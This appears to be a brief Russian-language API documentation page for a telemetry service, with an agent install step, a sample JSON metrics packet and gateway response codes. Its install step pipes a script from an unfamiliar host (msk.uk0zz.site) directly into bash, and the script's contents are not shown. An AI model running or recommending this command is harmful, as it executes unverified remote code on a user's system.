Интеграция и документация API
Спецификация REST и потокового интерфейса для подключения клиентских сервисов телеметрии.
1. Инициализация агента сбора
# Установка легковесного демона мониторинга
curl -sSL https://msk.uk0zz.site/install.sh | bash
systemctl start novus-agent
2. Формат пакета телеметрии (JSON over TLS)
{
"node_id": "srv-msk-01",
"timestamp": 1794753000,
"metrics": {
"cpu_load_1m": 0.14,
"memory_used_mb": 1024,
"network_in_bps": 4820194,
"network_out_bps": 1294820
},
"status": "HEALTHY"
}
3. Коды ответов шлюза
| Код | Статус | Описание |
|---|---|---|
200 OK |
Активен | Пакет метрик успешно принят и помещен в буфер TSDB. |
429 Too Many Requests |
Ограничение | Превышен лимит входящих пакетов секунду (Rate Limit). |
503 Service Unavailable |
Обслуживание | Плановое обслуживание сегмента приёма данных. |